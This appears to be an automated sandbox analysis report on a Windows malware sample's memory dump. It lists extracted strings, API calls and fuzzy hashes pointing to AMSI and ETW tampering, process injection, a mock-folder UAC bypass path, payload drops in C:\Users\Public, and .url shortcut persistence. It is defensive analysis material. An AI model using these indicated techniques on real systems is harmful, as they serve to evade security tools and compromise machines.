C:\Windows\System32\, xrefs: 031C040A, 031C796B, 031C86B3
VirtualAllocEx, xrefs: 031CAB0C
GZmMS1j, xrefs: 031BF80F
advapi32, xrefs: 031C923F
RtlAllocateHeap, xrefs: 031CA644, 031CA6AA
EnumServicesStatusA, xrefs: 031CA9B2
/d , xrefs: 031C64B5
NtDeviceIoControlFile, xrefs: 031CA985
SLLoadApplicationPolicies, xrefs: 031C9F08
psapi, xrefs: 031CA9F3
LdrLoadDll, xrefs: 031CB049
kernel32, xrefs: 031CAAF0, 031CAB23, 031CAB56, 031CAB89, 031CABBC, 031CABEF, 031CAC22
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 031C098A
CreateProcessA, xrefs: 031CA9FD
Ntdll, xrefs: 031CA97B, 031CA98A, 031CA999, 031CA9A8
OpenSession, xrefs: 031BF89A, 031BFA2A, 031C0312, 031C0433, 031C0540, 031C0658, 031C0A2C, 031C0BCA, 031C0D70, 031C0E90, 031C1025, 031C111D, 031C130A, 031C14B0, 031C17DE, 031C1A0C, 031C1B80, 031C1CA3, 031C1E21, 031C21C7, 031C224A, 031C2362, 031C247A, 031C2586, 031C27A4, 031C28C1, 031C2B60, 031C2BDC, 031C2DF1, 031C2F91, 031C32D3, 031C3461, 031C367B, 031C3795, 031C3B36, 031C5634, 031C57CE, 031C596E, 031C5B13, 031C5C87, 031C5ED7, 031C5F8B, 031C6248, 031C6340, 031C67EF, 031C6AC9, 031C6C3D, 031C6DD3, 031C6F83, 031C766C, 031C7871, 031C7A8A, 031C7B2D, 031C7CC0, 031C8088, 031C8324, 031C8621, 031C877A, 031C8920, 031C8AAD, 031C8C41, 031C8DC0, 031C8EC3, 031C9037, 031C92B5, 031C94A5, 031C9796, 031C991C, 031C9B77, 031C9D7D, 031C9F41, 031CA230, 031CA2DF, 031CA51F, 031CA716, 031CA80E, 031CACC0, 031CB288
Initialize, xrefs: 031BF8FE, 031C081C, 031C09B0, 031C0B4E, 031C0CF4, 031C0FA9, 031C164C, 031C1A88, 031C1F32, 031C203C, 031C2723, 031C2A55, 031C2D75, 031C30A9, 031C3257, 031C3583, 031C393C, 031C5876, 031C5C0B, 031C6007, 031C61CC, 031C6438, 031C656E, 031C6773, 031C76E8, 031C83A0, 031C93AD, 031C9FBD, 031CA35B, 031CA88A, 031CAC44, 031CB190
MiniDumpReadDumpStream, xrefs: 031C9262
NtMapViewOfSection, xrefs: 031CAF7D
SLGatherMigrationBlob, xrefs: 031CAE18
C:\Users\Public\, xrefs: 031C5D88, 031C6FF3
CryptSIPVerifyIndirectData, xrefs: 031BFDC7, 031CA17B
endpointdlp, xrefs: 031CA464, 031CA497, 031CA4CA, 031CA4FD
Kernel32, xrefs: 031CAA02, 031CAA11, 031CAA4D
tquery, xrefs: 031CA0C6
NtOpenObjectAuditAlarm, xrefs: 031C9226
sppwmi, xrefs: 031CADFC
bcrypt, xrefs: 031BFEC0, 031BFEF3, 031BFF26, 031CA2BD
URL=file:", xrefs: 031C6D57
NtReadVirtualMemory, xrefs: 031CAFB0
CryptSIPGetSignedDataMsg, xrefs: 031BFDFA
TrustOpenStores, xrefs: 031BFC03
MiniDumpWriteDump, xrefs: 031C924E
dbgcore, xrefs: 031C9253, 031C9267
OpenProcess, xrefs: 031CAB72
CreateProcessAsUserA, xrefs: 031CAA1B
GET, xrefs: 031C2455
spp, xrefs: 031CA0F9, 031CA12C, 031CADC9
BCryptRegisterProvider, xrefs: 031BFF0F
NtGetWriteWatch, xrefs: 031CAE7E
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 031C64AA
CryptSIPGetInfo, xrefs: 031BFD94
ScanBuffer, xrefs: 031BF9C6, 031BFD1E, 031BFF48, 031C04AF, 031C05BC, 031C06D4, 031C0AA8, 031C0C46, 031C0DEC, 031C0F0C, 031C10A1, 031C1199, 031C1402, 031C15A8, 031C1744, 031C185A, 031C18E8, 031C1BFC, 031C1E9D, 031C1FAE, 031C214B, 031C24F6, 031C2602, 031C2820, 031C293D, 031C2C58, 031C2CF9, 031C2E6D, 031C302D, 031C334F, 031C3719, 031C39B8, 031C3ABA, 031C56B0, 031C59EA, 031C5D03, 031C6083, 031C63BC, 031C6666, 031C686B, 031C69D1, 031C6B45, 031C6BC1, 031C7764, 031C77F5, 031C7C25, 031C7DB8, 031C7F14, 031C800C, 031C8529, 031C87F6, 031C899C, 031C8B29, 031C8CBD, 031C8E3C, 031C90B3, 031C91AB, 031C95C7, 031C98A0, 031C9A39, 031C9C6F, 031C9D01, 031CA039, 031CA3D7, 031CA906, 031CB20C
http, xrefs: 031C2128
BCryptVerifySignature, xrefs: 031BFEA9, 031CA2A6
LdrGetProcedureAddress, xrefs: 031CB07C
Advapi, xrefs: 031CA9B7, 031CA9C6, 031CA9D5, 031CA9E4, 031CAA20, 031CAA2F, 031CAA3E
UacUninitialize, xrefs: 031C3844, 031C3BB2
NtQueryInformationThread, xrefs: 031CAEE4
.url, xrefs: 031C5D93
WintrustAddActionID, xrefs: 031BFC36
NtOpenSection, xrefs: 031CAF17
DlpCheckIsCloudSyncApp, xrefs: 031CA480
ntdll, xrefs: 031C922B, 031C927B, 031C928F, 031CA628, 031CA65B, 031CA68E, 031CA6C1, 031CA6F4, 031CAE95, 031CAEC8, 031CAEFB, 031CAF2E, 031CAF61, 031CAF94, 031CAFC7, 031CAFFA, 031CB02D, 031CB060, 031CB093, 031CB0C6, 031CB0F9, 031CB12C, 031CB15F
NtOpenProcess, xrefs: 031C928A
NtSetSecurityObject, xrefs: 031C9276
/o, xrefs: 031C64C0
EnumServicesStatusW, xrefs: 031CA9C1
NtOpenFile, xrefs: 031CB0E2
wintrust, xrefs: 031BFC1A, 031BFC4D, 031BFC80
NtQueryDirectoryFile, xrefs: 031CA994
psapi, xrefs: 031CA15F
[InternetShortcut], xrefs: 031C6D48
CreateProcessW, xrefs: 031CAA0C
HotKey=, xrefs: 031C6EE1
SxTracerGetThreadContextDebug, xrefs: 031CA0E2, 031CADB2
NtQuerySecurityObject, xrefs: 031CAFE3
WinHttp.WinHttpRequest.5.1, xrefs: 031C233C
NtQuerySystemInformation, xrefs: 031CA976
smartscreenps, xrefs: 031C0051, 031C0084, 031C00B7
RetailTracerEnable, xrefs: 031CA0AF
DlpNotifyPreDragDrop, xrefs: 031CA44D
EtwEventWriteEx, xrefs: 031CB115
EnumProcessModules, xrefs: 031CA9EE
SLGetEncryptedPIDEx, xrefs: 031CAE4B
DllRegisterServer, xrefs: 031BFB54, 031C00A0
ScanString, xrefs: 031BF962, 031BFB8D, 031BFCA2, 031BFE33, 031BFFC4, 031C024D, 031C038E, 031C0914, 031C152C, 031C16C8, 031C1B04, 031C1D1F, 031C1D9B, 031C20B8, 031C23DE, 031C26A7, 031C2AE4, 031C2F15, 031C3125, 031C31DB, 031C34DD, 031C35FF, 031C38C0, 031C55B8, 031C5752, 031C5A97, 031C5E5B, 031C64F2, 031C6CD8, 031C6E4F, 031C6F07, 031C7574, 031C7A0E, 031C7E75, 031C8498, 031C8F3F, 031C9331, 031C971A, 031C9AFB, 031C9DF9, 031CA1B4, 031CA59B, 031CA792, 031CAD3C
SLGetSLIDList, xrefs: 031C9EA2
GetProcessMemoryInfo, xrefs: 031CA148
I_QueryTagInformation, xrefs: 031C923A
NtWriteVirtualMemory, xrefs: 031CB0AF
FindCertsByIssuer, xrefs: 031BFC69
UacScan, xrefs: 031BF836, 031C00D9, 031C01D1, 031C07A0, 031C1386, 031C1964, 031C22C6, 031C29D9, 031C3C2E, 031C5B8F, 031C60FF, 031C62C4, 031C65EA, 031C66F7, 031C6955, 031C6A4D, 031C75F0, 031C7992, 031C7BA9, 031C7D3C, 031C7F90, 031C841C, 031C85A5, 031C86FE, 031C88A4, 031C8A31, 031C8BC5, 031C8D44, 031C8FBB, 031C9429, 031C9643, 031C9824, 031C99BD, 031C9BF3, 031CAA63
acS, xrefs: 031C3D02
NtCreateSection, xrefs: 031CAF4A
C:\\Users\\Public\\Libraries\\, xrefs: 031C616F
BCryptQueryProviderRegistration, xrefs: 031BFEDC
NtAlertResumeThread, xrefs: 031CA611
sppc, xrefs: 031C9E86, 031C9EB9, 031C9EEC, 031C9F1F, 031CAE2F, 031CAE62
IconIndex=, xrefs: 031C6DAD
CreateProcessWithLogonW, xrefs: 031CAA39
SLIsGenuineLocalEx, xrefs: 031C9ED5
UacInitialize, xrefs: 031BFA8E, 031C0155, 031C0898, 031C553C, 031C58F2, 031C5DDF, 031C78ED, 031C912F, 031C954B
EnumServicesStatusExA, xrefs: 031CA9D0
NtAccessCheck, xrefs: 031CB016
WriteVirtualMemory, xrefs: 031CABA5
ieproxy, xrefs: 031BFB14, 031BFB3B, 031BFB6B
EnumServicesStatusExW, xrefs: 031CA9DF
GetProxyDllInfo, xrefs: 031BFB2A
EtwEventWrite, xrefs: 031CB148
DllGetClassObject, xrefs: 031BFB03, 031C003A, 031CA115, 031CADE5
DlpGetArchiveFileTraceInfo, xrefs: 031CA4B3
NtQueryVirtualMemory, xrefs: 031CAEB1
VirtualAlloc, xrefs: 031CAAD9
DlpGetWebSiteAccess, xrefs: 031CA4E6
SLGetGenuineInformation, xrefs: 031C9E6F
mssip32, xrefs: 031BFDAB, 031BFDDE, 031BFE11, 031CA192
RtlQueryProcessDebugInformation, xrefs: 031CA9A3
FlushInstructionCache, xrefs: 031CABD8
CreateProcessAsUserW, xrefs: 031CAA2A, 031CAA48
can, xrefs: 031C3D15
DllGetActivationFactory, xrefs: 031C006D

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Module$AddressFileHandleNamePathProc$AttributesCheckCloseDebuggerFreeLibraryName_PresentRemote
String ID: /d $ /o$.url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\esentutl.exe /y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 3113829192-2693441831
Opcode ID: 6cbf28cd662651204e995d3b650e3546993c98ff3ea99fffd3cadc581e24e066
Instruction ID: 50bf32549dada879fef6d8aefb8c5e9f922426f91fa38ec8417072f41db5834e
Opcode Fuzzy Hash: 6cbf28cd662651204e995d3b650e3546993c98ff3ea99fffd3cadc581e24e066
Instruction Fuzzy Hash: 48142E3CA1865C9FCB10EB69DC81ACE73B9AF9D702F1080A59508AF754DF74AE858F41

Function 031C8122 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2780
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031B89D0: FreeLibrary.KERNEL32(03227388,00000000,00000000,00000000,00000000,0322738C,Function_0000562C,00000004,0322739C,0322738C,05F5E103,00000040,032273A0,03227388,00000000,00000000), ref: 031B8AAA

CreateProcessAsUserW.ADVAPI32(0331B7DC,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0331B7E0,0331B824,OpenSession,03223160,031CB7B8,UacScan,03223160), ref: 031C86E9
ResumeThread.KERNEL32(0331B828,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8,UacScan,03223160,031CB7B8,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8), ref: 031C8D33
CloseHandle.KERNEL32(0331B824,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8,UacScan,03223160,031CB7B8,0331B828,ScanBuffer,03223160,031CB7B8,OpenSession,03223160), ref: 031C8EB2

Part of subcall function 031B894C: LoadLibraryW.KERNEL32(?,?), ref: 031B8960
Part of subcall function 031B894C: GetProcAddress.KERNEL32(03227394,BCryptVerifySignature), ref: 031B897A
Part of subcall function 031B894C: FreeLibrary.KERNEL32(03227394,03227394,BCryptVerifySignature,bcrypt,?,032273D4,00000000,032273A8,031BA587,ScanString,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,Initialize), ref: 031B89B6

CloseHandle.KERNEL32(0331B824,0331B824,ScanBuffer,03223160,031CB7B8,UacInitialize,03223160,031CB7B8,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8,UacScan,03223160), ref: 031C92A4

Part of subcall function 031BDC8C: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 031BDCCB
Part of subcall function 031BDC8C: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 031BDD32
Part of subcall function 031BDC8C: NtClose.NTDLL(?), ref: 031BDD3B

Part of subcall function 031B8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031B83C2), ref: 031B83A4

ExitProcess.KERNEL32(00000000,OpenSession,03223160,031CB7B8,ScanBuffer,03223160,031CB7B8,Initialize,03223160,031CB7B8,00000000,00000000,00000000,ScanString,03223160,031CB7B8), ref: 031CB2FA

Strings

RtlCreateQueryDebugBuffer, xrefs: 031CA6DD
ntdll, xrefs: 031C922B, 031C927B, 031C928F, 031CA628, 031CA65B, 031CA68E, 031CA6C1, 031CA6F4, 031CAE95, 031CAEC8, 031CAEFB, 031CAF2E, 031CAF61, 031CAF94, 031CAFC7, 031CAFFA, 031CB02D, 031CB060, 031CB093, 031CB0C6, 031CB0F9, 031CB12C, 031CB15F
NtOpenProcess, xrefs: 031C928A
NtWaitForSingleObject, xrefs: 031CA677
NtSetSecurityObject, xrefs: 031C9276
SetUnhandledExceptionFilter, xrefs: 031CAC0B
C:\Windows\System32\, xrefs: 031C86B3
VirtualProtect, xrefs: 031CAB3F
EnumServicesStatusW, xrefs: 031CA9C1
VirtualAllocEx, xrefs: 031CAB0C
NtOpenFile, xrefs: 031CB0E2
advapi32, xrefs: 031C923F
RtlAllocateHeap, xrefs: 031CA644, 031CA6AA
NtQueryDirectoryFile, xrefs: 031CA994
psapi, xrefs: 031CA15F
EnumServicesStatusA, xrefs: 031CA9B2
CreateProcessW, xrefs: 031CAA0C
NtDeviceIoControlFile, xrefs: 031CA985
SxTracerGetThreadContextDebug, xrefs: 031CA0E2, 031CADB2
SLLoadApplicationPolicies, xrefs: 031C9F08
NtQuerySecurityObject, xrefs: 031CAFE3
psapi, xrefs: 031CA9F3
LdrLoadDll, xrefs: 031CB049
kernel32, xrefs: 031CAAF0, 031CAB23, 031CAB56, 031CAB89, 031CABBC, 031CABEF, 031CAC22
NtQuerySystemInformation, xrefs: 031CA976
CreateProcessA, xrefs: 031CA9FD
Ntdll, xrefs: 031CA97B, 031CA98A, 031CA999, 031CA9A8
OpenSession, xrefs: 031C8134, 031C82A8, 031C8324, 031C8621, 031C877A, 031C8920, 031C8AAD, 031C8C41, 031C8DC0, 031C8EC3, 031C9037, 031C92B5, 031C94A5, 031C9796, 031C991C, 031C9B77, 031C9D7D, 031C9F41, 031CA230, 031CA2DF, 031CA51F, 031CA716, 031CA80E, 031CACC0, 031CB288
RetailTracerEnable, xrefs: 031CA0AF
DlpNotifyPreDragDrop, xrefs: 031CA44D
EtwEventWriteEx, xrefs: 031CB115
EnumProcessModules, xrefs: 031CA9EE
Initialize, xrefs: 031C81B0, 031C83A0, 031C93AD, 031C9FBD, 031CA35B, 031CA88A, 031CAC44, 031CB190
SLGetEncryptedPIDEx, xrefs: 031CAE4B
ScanString, xrefs: 031C822C, 031C8498, 031C8F3F, 031C9331, 031C971A, 031C9AFB, 031C9DF9, 031CA1B4, 031CA59B, 031CA792, 031CAD3C
SLGetSLIDList, xrefs: 031C9EA2
GetProcessMemoryInfo, xrefs: 031CA148
I_QueryTagInformation, xrefs: 031C923A
MiniDumpReadDumpStream, xrefs: 031C9262
NtWriteVirtualMemory, xrefs: 031CB0AF
NtMapViewOfSection, xrefs: 031CAF7D
UacScan, xrefs: 031C841C, 031C85A5, 031C86FE, 031C88A4, 031C8A31, 031C8BC5, 031C8D44, 031C8FBB, 031C9429, 031C9643, 031C9824, 031C99BD, 031C9BF3, 031CAA63
SLGatherMigrationBlob, xrefs: 031CAE18
CryptSIPVerifyIndirectData, xrefs: 031CA17B
endpointdlp, xrefs: 031CA464, 031CA497, 031CA4CA, 031CA4FD
Kernel32, xrefs: 031CAA02, 031CAA11, 031CAA4D
NtCreateSection, xrefs: 031CAF4A
tquery, xrefs: 031CA0C6
NtOpenObjectAuditAlarm, xrefs: 031C9226
sppwmi, xrefs: 031CADFC
bcrypt, xrefs: 031CA2BD
NtAlertResumeThread, xrefs: 031CA611
sppc, xrefs: 031C9E86, 031C9EB9, 031C9EEC, 031C9F1F, 031CAE2F, 031CAE62
CreateProcessWithLogonW, xrefs: 031CAA39
NtReadVirtualMemory, xrefs: 031CAFB0
SLIsGenuineLocalEx, xrefs: 031C9ED5
MiniDumpWriteDump, xrefs: 031C924E
dbgcore, xrefs: 031C9253, 031C9267
OpenProcess, xrefs: 031CAB72
UacInitialize, xrefs: 031C912F, 031C954B
CreateProcessAsUserA, xrefs: 031CAA1B
EnumServicesStatusExA, xrefs: 031CA9D0
NtAccessCheck, xrefs: 031CB016
spp, xrefs: 031CA0F9, 031CA12C, 031CADC9
WriteVirtualMemory, xrefs: 031CABA5
NtGetWriteWatch, xrefs: 031CAE7E
EnumServicesStatusExW, xrefs: 031CA9DF
EtwEventWrite, xrefs: 031CB148
DllGetClassObject, xrefs: 031CA115, 031CADE5
ScanBuffer, xrefs: 031C8529, 031C87F6, 031C899C, 031C8B29, 031C8CBD, 031C8E3C, 031C90B3, 031C91AB, 031C95C7, 031C98A0, 031C9A39, 031C9C6F, 031C9D01, 031CA039, 031CA3D7, 031CA906, 031CB20C
BCryptVerifySignature, xrefs: 031CA2A6
DlpGetArchiveFileTraceInfo, xrefs: 031CA4B3
LdrGetProcedureAddress, xrefs: 031CB07C
NtQueryVirtualMemory, xrefs: 031CAEB1
VirtualAlloc, xrefs: 031CAAD9
Advapi, xrefs: 031CA9B7, 031CA9C6, 031CA9D5, 031CA9E4, 031CAA20, 031CAA2F, 031CAA3E
DlpGetWebSiteAccess, xrefs: 031CA4E6
NtQueryInformationThread, xrefs: 031CAEE4
SLGetGenuineInformation, xrefs: 031C9E6F
mssip32, xrefs: 031CA192
RtlQueryProcessDebugInformation, xrefs: 031CA9A3
NtOpenSection, xrefs: 031CAF17
FlushInstructionCache, xrefs: 031CABD8
CreateProcessAsUserW, xrefs: 031CAA2A, 031CAA48
DlpCheckIsCloudSyncApp, xrefs: 031CA480

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: CloseLibrary$FreeHandlePathProcess$AddressCacheCreateExitFileFlushInstructionLoadNameName_ProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 376050052-1225450241
Opcode ID: 4b1941ed4f30fc688ce9ad0110bfb61174c660eccb8cad3141ef32b752725695
Instruction ID: c7edaf8d9be8b6edaf80435e6f2fcdae6608fd446a0ba1b6aa92468e26efb641
Opcode Fuzzy Hash: 4b1941ed4f30fc688ce9ad0110bfb61174c660eccb8cad3141ef32b752725695
Instruction Fuzzy Hash: 1F43EA3DA1865C9FCB10EB69DC819CE73B9AB9C702F1080A5A108EF754DF74AE958F41

Function 031C3E11 Relevance: 41.8, APIs: 3, Strings: 23, Instructions: 2805
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031B89D0: FreeLibrary.KERNEL32(03227388,00000000,00000000,00000000,00000000,0322738C,Function_0000562C,00000004,0322739C,0322738C,05F5E103,00000040,032273A0,03227388,00000000,00000000), ref: 031B8AAA

Part of subcall function 031BDC8C: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 031BDCCB
Part of subcall function 031BDC8C: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 031BDD32
Part of subcall function 031BDC8C: NtClose.NTDLL(?), ref: 031BDD3B

Sleep.KERNEL32(000003E8,ScanBuffer,03223160,031CB7B8,UacScan,03223160,031CB7B8,ScanString,03223160,031CB7B8,031CBB30,00000000,00000000,031CBB24,00000000,00000000), ref: 031C40CB

Part of subcall function 031B88B8: LoadLibraryW.KERNEL32(amsi), ref: 031B88C1
Part of subcall function 031B88B8: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 031B8920

Sleep.KERNEL32(000003E8,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8,UacScan,03223160,031CB7B8,000003E8,ScanBuffer,03223160,031CB7B8,UacScan,03223160), ref: 031C4277

Part of subcall function 031B894C: LoadLibraryW.KERNEL32(?,?), ref: 031B8960
Part of subcall function 031B894C: GetProcAddress.KERNEL32(03227394,BCryptVerifySignature), ref: 031B897A
Part of subcall function 031B894C: FreeLibrary.KERNEL32(03227394,03227394,BCryptVerifySignature,bcrypt,?,032273D4,00000000,032273A8,031BA587,ScanString,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,Initialize), ref: 031B89B6

Sleep.KERNEL32(00004E20,UacScan,03223160,031CB7B8,ScanString,03223160,031CB7B8,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8,UacInitialize,03223160,031CB7B8), ref: 031C50EE

Part of subcall function 031BDC04: RtlInitUnicodeString.NTDLL ref: 031BDC2C
Part of subcall function 031BDC04: RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 031BDC42
Part of subcall function 031BDC04: NtDeleteFile.NTDLL(?), ref: 031BDC61

Strings

C:\\Users\\Public\\Libraries\\, xrefs: 031C616F
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 031C64AA
C:\Users\Public\alpha.exe, xrefs: 031C54E5
OpenSession, xrefs: 031C4158, 031C4304, 031C4487, 031C48CB, 031C4AC0, 031C4C18, 031C4F00, 031C517B, 031C52FB, 031C5634, 031C57CE, 031C596E, 031C5B13, 031C5C87, 031C5ED7, 031C5F8B, 031C6248, 031C6340, 031C67EF, 031C6AC9, 031C6C3D, 031C6DD3, 031C6F83
ScanBuffer, xrefs: 031C3FFB, 031C4202, 031C4380, 031C4503, 031C457F, 031C4736, 031C4947, 031C4B3C, 031C4D8C, 031C4F7C, 031C51F7, 031C546F, 031C56B0, 031C59EA, 031C5D03, 031C6083, 031C63BC, 031C6666, 031C686B, 031C69D1, 031C6B45, 031C6BC1
C:\\Windows \\SysWOW64\\, xrefs: 031C4822
/o, xrefs: 031C64C0
IconIndex=, xrefs: 031C6DAD
URL=file:", xrefs: 031C6D57
lld.SLITUTEN, xrefs: 031C480C
Initialize, xrefs: 031C5876, 031C5C0B, 031C6007, 031C61CC, 031C6438, 031C656E, 031C6773
UacUninitialize, xrefs: 031C3E1E, 031C463E, 031C4C94, 031C5377
ScanString, xrefs: 031C3F03, 031C49C8, 031C4E08, 031C4FFD, 031C55B8, 031C5752, 031C5A97, 031C5E5B, 031C64F2, 031C6CD8, 031C6E4F, 031C6F07
C:\Users\Public\CApha.exe, xrefs: 031C5500
.url, xrefs: 031C5D93
UacInitialize, xrefs: 031C4A44, 031C4E84, 031C50FF, 031C553C, 031C58F2, 031C5DDF
[InternetShortcut], xrefs: 031C6D48
C:\Users\Public\pha.exe, xrefs: 031C551B
/d , xrefs: 031C64B5
C:\\Windows \\SysWOW64\\per.exe, xrefs: 031C43F5
HotKey=, xrefs: 031C6EE1
UacScan, xrefs: 031C3F7F, 031C40DC, 031C4288, 031C440B, 031C45DC, 031C46BA, 031C484F, 031C4D10, 031C5079, 031C53F3, 031C5B8F, 031C60FF, 031C62C4, 031C65EA, 031C66F7, 031C6955, 031C6A4D
C:\Users\Public\, xrefs: 031C5D88, 031C6FF3

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Library$Path$FreeSleep$FileLoadNameName_$AddressCloseDeleteInitProcStringUnicodeWrite
String ID: /d $ /o$.url$C:\Users\Public\$C:\Users\Public\CApha.exe$C:\Users\Public\alpha.exe$C:\Users\Public\pha.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\per.exe$C:\\Windows\\System32\\esentutl.exe /y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
API String ID: 3582580975-3926298568
Opcode ID: d7d22ae7bd1a24751658264ab469f360089b2f5f20b60e7b88dfbf0e46e2b733
Instruction ID: 71db41d507aa55cb6b803294e09cec8969b923b6701cdaa7fb98a0e2cad5042d
Opcode Fuzzy Hash: d7d22ae7bd1a24751658264ab469f360089b2f5f20b60e7b88dfbf0e46e2b733
Instruction Fuzzy Hash: E9432E3C61865D9FCB20EBA9DC81ACE73B5AF9D602F1080A59508AF754DF70AE85CF41

Function 031A1727 Relevance: 9.0, APIs: 7, Instructions: 288
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 031A17D0
Sleep.KERNEL32(0000000A,00000000), ref: 031A17E6

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0b653f732f2a7654bbad9c16bb3a5da014e32f49afd5debfd5ad4bec20c14e13
